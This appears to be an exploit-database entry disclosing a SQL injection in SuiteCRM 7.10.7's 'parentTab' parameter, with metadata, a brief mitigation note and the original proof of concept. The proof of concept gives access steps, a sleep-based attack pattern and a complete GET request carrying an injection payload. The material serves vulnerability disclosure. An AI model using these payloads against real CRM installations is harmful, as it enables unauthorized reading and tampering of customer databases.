SuiteCRM 7.10.7 - 'parentTab' SQL Vulnerabilities

vendor:

SuiteCRM

by:

Mehmet EMIROGLU

5.5

CVSS

MEDIUM

SQL Injection

CWE

Product Name: SuiteCRM

Affected Version From: 7.10.2007

Affected Version To: 7.10.2007

Patch Exists: NO

Related CWE:

CPE: suitecrm

Metasploit:

Other Scripts:

Platforms Tested: Windows (Wampp)

2019

SuiteCRM 7.10.7 – ‘parentTab’ SQL Vulnerabilities

The SuiteCRM 7.10.7 version is vulnerable to SQL injection attacks. By changing the 'parentTab' parameter to a specific value and appending malicious code to the URL, an attacker can execute arbitrary SQL queries on the database.

Mitigation:

To mitigate this vulnerability, it is recommended to update to the latest version of SuiteCRM.

Source

Exploit-DB raw data:

####################################################################

# Exploit Title: SuiteCRM 7.10.7 - 'parentTab' SQL Vulnerabilities
# Dork: N/A
# Date: 03-02-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: https://suitecrm.com/
# Software Link: https://suitecrm.com/download/
# Version: 7.10.7
# Category: Webapps
# Tested on: Wampp @Win
# CVE: N/A
# Software Description: SuiteCRM was awarded the 2015 BOSSIE by InfoWorld
  as the world's best open source Customer Relationship Management (CRM)
application.

####################################################################

# Vulnerabilities
# This web application called as SuiteCRM 7.10.7 version.
# After logging in, enter the email section.
  then change the collaboration to 9999999 (This bypass Method). Add the
following codes to the end of the URL.

####################################################################

# POC - SQL (Boolean Based)
# Parameters : parentTab
# Attack Pattern : aNd if(length(0x454d49524f474c55)>1,sleep(5),0)
# Refer Adress:
http://localhost/SuiteCRM/index.php?module=Emails&action=index&parentTab=Collaboration
# GET Request :
http://localhost/SuiteCRM/index.php?module=Emails&action=index&parentTab=99999999%27)/**/oR/**/6617279=6617279/**/aNd/**/(%276199%27)=(%276199

####################################################################